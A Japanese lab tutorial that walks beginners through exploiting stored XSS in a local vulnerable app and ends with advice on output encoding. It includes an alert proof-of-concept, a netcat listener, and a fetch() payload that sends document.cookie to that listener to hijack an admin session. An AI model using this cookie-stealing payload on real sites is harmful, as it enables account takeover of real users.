保存型クロスサイトスクリプティング (Stored XSS)

サイバーセキュリティBeginner
オンラインで実践に進む

はじめに

保存型クロスサイトスクリプティング(Stored XSS)は、非常に危険な Web 脆弱性の一つです。Web アプリケーションがユーザーから入力を受け取り、それをデータベース(コメント欄、掲示板、ユーザープロフィールなど)に保存し、後で適切なサニタイズ(無害化)を行わずに Web ページに埋め込むことで発生します。

被害者が細工されたリンクをクリックする必要がある「反射型 XSS」とは異なり、保存型 XSS は「持続的」です。悪意のあるペイロードが一度データベースに注入されると、そのページを訪れるすべてのユーザーのブラウザで自動的に実行されます。これは、攻撃者がセッションクッキーを盗んだり、ユーザーをリダイレクトさせたり、被害者になりすまして不正な操作を行ったりするための非常に強力なツールとなります。

この「持続性」こそが、保存型 XSS を特に危険なものにしています。攻撃者は一度注入するだけで、アプリケーション自体が将来の訪問者に対して繰り返しペイロードを実行し続けるからです。

この実験では、脆弱性のあるローカル Web アプリケーションを操作します。ユーザー入力がどこに保存されるかを特定し、持続的な JavaScript ペイロードを注入する方法を学び、管理者が注入されたコメントを閲覧した際にセッションクッキーが盗まれるシナリオをシミュレートします。

入力保存箇所の特定(コメント/プロフィール)

このステップでは、ローカル環境で動作している脆弱な Web アプリケーションを操作します。このアプリケーションには、ユーザーがメッセージを投稿できるシンプルなコメント機能があります。

保存型 XSS の脆弱性を悪用するには、まずアプリケーションがどこでユーザー入力を受け取り、どこでその入力が表示されるかを特定する必要があります。Web サーバーとのやり取りには、コマンドラインツールの curl を使用します。

保存型 XSS のライフサイクルを一言で言えば、「入力がアプリケーションに入り、保存され、後に別のユーザーのブラウザでレンダリングされる」という流れです。

まず、メインページに GET リクエストを送信して、アプリケーションの現在の状態を確認しましょう。ターミナルで以下のコマンドを実行してください。

curl http://localhost:5000/

HTML 出力の中に空のコメントリストが表示されるはずです:

<h1>Comments</h1><ul></ul>

次に、通常のコメントを投稿して、アプリケーションがどのように入力を処理・保存するかを確認します。curl の -X POST フラグを使用して、/post エンドポイントにデータを送信します。以下のコマンドを実行してください:

curl -X POST -d "comment=Hello World" http://localhost:5000/post

サーバーから Comment added! という応答が返ってくるはずです。

入力がデータベースに永続的に保存され、Web ページに反映されていることを確認するために、再度メインページを取得します:

curl http://localhost:5000/

コメントが HTML 構造の中に直接埋め込まれているのが確認できます:

<h1>Comments</h1><ul><li>Hello World</li></ul>

アプリケーションが入力内容をフィルタリングやサニタイズなしで直接 HTML に配置しているため、保存型 XSS に対して脆弱である可能性が非常に高いと言えます。

持続的ペイロードの注入

アプリケーションが入力内容を保存し、反映していることが確認できたので、持続的な JavaScript ペイロードの注入を試みます。

この時点で、データベースは攻撃の配信メカニズムとなります。ペイロードは単なる保存されたテキストではなく、レンダリングされるのを待つ将来のスクリプトコンテンツとなります。

現実のシナリオでは、攻撃者が脆弱なコメント欄に <script> タグを注入すると、サーバーはそのタグをデータベースに保存します。その後、管理者を含むユーザーがコメントページを訪れるたびに、ブラウザは HTML をダウンロードし、<script> タグを認識して攻撃者のコードを実行してしまいます。

ブラウザでアラートボックスを表示させる、古典的な XSS の概念実証(PoC)ペイロードを注入してみましょう。以下のコマンドを実行して、悪意のあるコメントを投稿します:

curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post

サーバーがコメントの追加を確認したら、もう一度メインページを取得して HTML ソースコードを検査します:

curl http://localhost:5000/

出力結果をよく見てください:

<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>

<script>alert('XSS')</script> というペイロードが、入力した通りにレンダリングされていることがわかります。アプリケーションは山括弧(< および >)を安全な HTML エンティティ(&lt; や &gt; など)にエンコードしていません。

もし実際のユーザーが Chrome や Firefox などの Web ブラウザでこのページを開いた場合、ブラウザは注入されたテキストをコメントとしてではなく実行可能な JavaScript として解釈し、即座に「XSS」と表示されたアラートボックスが画面にポップアップします。

セッションクッキーの窃取(シミュレーション)

アラートボックスを表示させることは脆弱性の証明にはなりますが、実際の攻撃者はセッションクッキーの窃取など、悪意のある目的のために XSS を利用します。攻撃者が管理者のセッションクッキーを盗むことができれば、管理者のアカウントをハイジャックし、Web アプリケーションを完全に制御することが可能になります。

クッキーを盗むために、攻撃者は被害者の document.cookie を読み取り、攻撃者が制御するサーバーに送信する JavaScript を注入します。

まず、盗まれたクッキーを受け取るための「リスナー」をセットアップする必要があります。nc (netcat) ユーティリティを使用して 8000 番ポートで待機し、受信した HTTP リクエストを stolen_cookie.txt というファイルに保存します。末尾の & は、ターミナルを使い続けられるようにコマンドをバックグラウンドで実行するためのものです。

nc -l -p 8000 > stolen_cookie.txt &

次に、脆弱なアプリケーションに悪意のあるペイロードを注入します。このペイロードは JavaScript の fetch() API を使用して、被害者のクッキーを URL に付加した状態で、netcat リスナーに対して密かに HTTP リクエストを送信します。

以下のコマンドを実行して、クッキー窃取ペイロードを注入してください:

curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post

これでペイロードはデータベースに永続的に保存されました。被害者がページを訪れるのを待ち構えている状態です。

被害者インタラクションのシミュレーション

実際の攻撃では、攻撃者はユーザーが感染した Web サイトを閲覧するのを待つだけです。今回はグラフィカルな Web ブラウザのないターミナル環境で作業しているため、管理者がページを閲覧する様子をシミュレートする Python スクリプトを用意しました。

このスクリプトは Web ブラウザのように振る舞います。データベースからコメントを読み取り、あなたが注入した <script> タグを検出し、netcat リスナーへの HTTP リクエストを行うことでスクリプトを「実行」し、シミュレートされた管理者のクッキーを送信します。

以下のコマンドでシミュレーションスクリプトを実行してください:

python3 simulate_victim.py

シミュレートされた管理者がページを訪れ、注入されたスクリプトが実行されたことを示す出力が表示されるはずです:

Admin victim is visiting the page...
[Browser Simulator] Executing injected script...

シミュレートされたブラウザがペイロードを実行した際、前のステップで起動した netcat リスナーに対して HTTP リクエストが送信されました。Netcat はこのリクエストをキャプチャし、stolen_cookie.txt に保存しました。

ファイルの内容を確認して、管理者のセッションクッキーを正常に取得できたか見てみましょう:

cat stolen_cookie.txt

Netcat によってキャプチャされた生の HTTP GET リクエストが表示されます。URL パスの中に盗まれたクッキーが含まれているはずです:

GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

おめでとうございます!保存型 XSS の脆弱性を悪用して、シミュレートされたユーザーセッションをハイジャックすることに成功しました。この admin_session トークンがあれば、攻撃者は自身のブラウザのクッキーを書き換えることで、Web アプリケーション上で管理者になりすますことができます。

まとめ

この実験では、保存型クロスサイトスクリプティング(XSS)の脆弱性を調査し、悪用することに成功しました。データを永続的に保存し、適切な HTML サニタイズなしで反映してしまう入力フィールドを特定する方法を学びました。次に、基本的な JavaScript ペイロードを注入して脆弱性の存在を確認しました。その後、セッションクッキーなどの機密データを外部のリスナーに送信するように設計された悪意のあるペイロードを作成しました。最後に、感染したページを閲覧するだけで管理者のセッションが侵害されるシナリオをシミュレートし、保存型 XSS の深刻な影響を理解しました。

保存型 XSS は、ペイロードが一度設置されればソーシャルエンジニアリングを必要としないため、非常に重大なセキュリティ欠陥です。アプリケーション自体がユーザーに対して攻撃を配信してしまうからです。これらの脆弱性を防ぐために、開発者はユーザーから提供されたデータを Web ブラウザでレンダリングする前に、厳格な入力バリデーションと、コンテキストに応じた出力エンコーディング(< を &lt; に変換するなど)を常に実装しなければなりません。